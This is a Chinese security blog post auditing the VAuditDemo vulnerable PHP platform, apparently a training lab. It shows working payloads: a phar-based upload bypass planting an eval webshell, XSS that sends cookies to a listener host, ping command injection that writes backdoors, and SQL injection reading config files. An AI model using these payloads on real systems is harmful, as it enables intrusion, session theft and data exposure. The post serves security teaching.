查看原文
其他

原创 | 记一次对VAuditDemo平台的代码审计(中)

禁忌 SecIN技术平台 2022-08-31

点击蓝字




关注我们



2.2 文件上传漏洞检测


在修改普通用户处存在文件上传点

先上传一个木马文件muma.php测试一下是否有过滤

同时用BurpSuite抓包

发现有过滤,测试一下是不是通过检测文件头来判断文件类型,修改文件头

发现不是检测文件头,修改MIME类型

还是绕不过,查看后端源码


2.2.1代码审计


后端代码先检测是否点击"submit"按钮、是否上传文件,然后用is_pic()函数检测文件,全局搜索is_pic()函数,在lib.php文件中发现定义的is_pic()函数

该函数的作用是检测文件名后缀中最后一个.后是不是jpgjpeg或者png格式,这个函数可以通过修改文件后缀名绕过。


继续分析代码,is_pic()函数后生成保存路径,由于保存路径是由time()函数随机生成的,但是time()生成的时间是可猜解的。


Demo:

在连续时间内用time()函数生成的时间只有最后两位数字有所差别,可以利用这点猜解文件保存路径,从而访问到上传的木马文件。


这样文件名可以绕过,木马保存路径也可以得到,最后就是要解析木马文件,这里可以使用phar伪协议。


关于phar伪协议附链接:

https://blog.csdn.net/qq_43668710/article/details/105546052


需要注意使用phar伪协议的时候需要将php.ini设置phar.readonly设置为Off才能用于phar对象,而在php5.5.9版本一下没有phar.readonly这个配置选项,为了测试漏洞效果,我们需要将php版本调整到php5.5.9以上,这里将php版本调整到5.6.9(注:高版本的php无法正常显示页面),然后修改配置文件


这里在主机做一个测试(注:主机php版本为7.3.4),需要两个文件test.phptest.txt文件,test.php文件用于包含、解析文件,test.txt文件用于存放脚本


test.php

<?php include 'phar://test.png/test.txt'; ?>

这里需要注意所要包含的文件名及文件后缀。


test.txt

<?php @eval($_POST['hacker']);?>

然后将test.txt文件压缩,压缩文件的后缀名可以是phar、rar或者是zip,然后将压缩文件后缀名更改为自己所需要的后缀名就可以了。

然后用浏览器访问test.php解析脚本

测试效果

在文件上传漏洞中我们还需要一个文件包含的漏洞,全局搜索与文件包含有关的关键字。


在index.php文件中发现文件包含漏洞

漏洞产生的原因,后端代码没有对通过GET方式传递过来的参数进行任何过滤而直接使用。


根据上面的利用phar伪协议的思路可以构造木马文件。

然后将文件后缀更改为inc,因为index.php文件中的include()函数规定了文件后缀

然后将muma.inc文件压缩,压缩之后将压缩文件后缀名改为png


2.2.2 漏洞检测


上传准备好的png文件,用BurpSuite抓包获取服务器响应时间,以获取文件保存路径

构造脚本

然后根据代码知道文件保存路径(注:这个路径只是猜测,由于各种原因数据包响应时间和文件保存时间会有所不同)

/uploads/u_1633141165_muma.png

poc

phar://uploads/u_1633141165_muma.png

先测试一下

http://www.cms.com:8088/index.php?module=phar://uploads/u_1633141165_muma.png/muma.inc

POST传参

可以连接上,用蚁剑连接


2.3 XSS漏洞检测


2.3.1 搜索框处的XSS

注:由于之前环境出现很多问题,所以重新搭建了一个测试环境。


猜测搜索框可能存在XSS漏洞

poc

< script>alert(1)</script>

测试结果

后端执行了Javascript代码,说明存在XSS漏洞


2.3.1.1 代码审计

后端对传入的search参数没有任何过滤,导致后端代码执行了用户传进去的JavaScript恶意代码,这是一个反射型XSS漏洞。


2.3.1.2  漏洞利用

靶机为win7 FireFox,主机为win10 FireFox

主机未登录

靶机已登录

假设靶机执行了XSS恶意代码

payload

 < script>document.location='http://192.168.179.191:8088/xss/rece/cookie.php?cookie='+document.cookie;</script>

cookie.php

<?php $cookie = $_GET['cookie']; $log = fopen('cookie.txt', 'a'); fwrite($log, $cookie."\n"); fclose($log); ?>

恶意代码将靶机的cookie信息保存在了主机的cookie.txt文件中(获取cookie的前提:主机的Apache服务开启,对应端口开启)


靶机浏览器

主机文件

在主机上利用获取的cookie信息登录账户

利用效果

漏洞防御

1、关键字符过滤

2、设置httponly,让JavaScript代码无法捕捉到cookie信息


2.3.2 用户管理处的XSS


2.3.2.1 代码审计

对代码进行分析发现后端代码对用户的ip没有任何过滤,所以可以利用HTTP中的XFF字段构造XSS漏洞,参数user_id也没有被过滤,但是要使用user_id查询数据库中的记录,如果查询出错就会停止执行代码,所以无法利用参数user_id


2.3.2.2 漏洞利用

原来的IP为127.0.0.1

在普通用户登录处抓包,修改IP

poc

X-Forwarded-For: < script>alert(1);</script>

BurpSuite抓包,构造XFF字段

登录成功

登录管理员账户,进入用户管理页面

后端执行了JavaScript代码,这是一个存储型XSS,存在了数据库中,每次访问manageUser.php文件都会触发XSS漏洞。

造成漏洞的原因:输入端、输出端对数据过滤不严。

输入端代码,sqlwaf函数可以过滤一些与sql注入有关的关键字符,但是没有过滤与XSS有关的关键字符。

输出端

对后端数据没有任何过滤。

获取cookie

由于sqlwaf()函数过滤了单引号,所以直接在页面回显cookie

X-Forwarded-For: < script>alert(document.cookie)</script>

获取到了cookie,cookie的利用思路与上面的相似。


2.3.3 用户名更新处的XSS漏洞检测

用户名更新处可能存在存储型XSS


2.3.3.1 代码审计

在updateName.php文件中,代码对参数username的长度进行了检测,长度不能大于16,下面使用clean_input()函数处理传进来的参数,所以只能尝试使用JavaScript伪协议绕过,但是用伪协议构造poc最短的长度是19,绕不过长度限制,所以这里暂时没有绕过。


2.4 命令执行漏洞


在管理员页面发现可以使用ping命令,根据经验,这里可能存在命令执行漏洞

测试一下,poc

127.0.0.1 | whoami

测试结果

存在命令执行


2.4.1 代码审计

在ping.php中发现代码对传进去的参数没有进行任何过滤


2.4.2 漏洞利用

查看当前目录

127.0.0.1 | dir

这里存在敏感信息泄露漏洞

从目录结构可以看出这是windows操作系统

使用windows命令留后门

创建文件,payload

127.0.0.1 | echo 123 > test.txt

创建成功

创建后门文件

poc

127.0.0.1 && echo ^<?=phpinfo();?^> > a.php

ps:由于没有注意管道符,第一次没有写入

写入成功

127.0.0.1 && echo ^<?php @eval($_POST[hacker]); ?^> > muma.php

测试一下

可以访问到后门文件

用蚁剑连接


2.5 水平越权漏洞


后台数据库中存在两个用户'ch4ng'和'test'

在修改用户名出存在水平越权漏洞


2.5.1 代码审计

clean_input()函数过滤不再解释,在这里由于clean_input()函数只是为了防止注入过滤特殊字符,所以对于正常的输入没有任何影响,clean_input()函数处理之后直接使用Sql查询语句根据用户名查询数据库中是否存在该用户,如果有就根据ID更改用户名。这里存在一个越权漏洞,利用思路是利用自己已有的账号登录,然后去修改用户名,通过抓包修改参数id,导致后端修改了其它账户的用户名,最终造成水平越权漏洞。


2.5.2 漏洞利用

登录'ch4ng'账户,可以修改'test'用户的用户名

修改用户名

抓包,修改id

修改前

修改后

数据库中原来的'test'用户的用户名被修改为了'hacker'

漏洞利用成功!!!


2.6 失效的会话管理


2.6.1 代码审计

管理员登录处存在验证码重复使用的漏洞

漏洞产生的原因是后端对验证码的处理不当导致验证码可以重复利用


2.6.2 漏洞利用

第一次请求

第二次请求

验证码可以重复利用

测试一下,随便填一个验证码

登陆成功

修改后的代码

再测试一下,输入正确的用户名和密码,随便输入一个验证码

没有登录成功


2.7 任意文件读取


全局搜索敏感函数,在avatar.php文件中找到file_get_contents()函数


2.7.1 参数回溯

全局搜索avatar参数

在updateAvatar.php文件中找到最开始的avatar参数


2.7.2 代码审计

参数avatar可控,可利用闭合思想+注释构造payload,利用sql语句执行payload

利用filename上传payload

',user_avator = '../sys/config.php' WHERE user_name = 'ch4ng'#.png

修改前数据库中的信息

利用上传文件构造参数

数据库更新了,但不是我们想要的结果,可能是被过滤了

由于MySQL支持十六进制,可以尝试使用进制转换绕过

',user_avatar = 0x2e2e2f7379732f636f6e6669672e706870 WHERE user_name = 'ch4ng'#.png

重新测试

更新成功

重新登录,用BurpSuite抓包,重放avatar.php文件的包可以看到config.php文件的源代码

在chrome浏览器中也可以看到



往期推荐



原创 | 记一次对VAuditDemo平台的代码审计(上)

原创|PHP 序列化和反序列化

原创 | 缓冲区溢出漏洞那些事:C -gets函数


您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存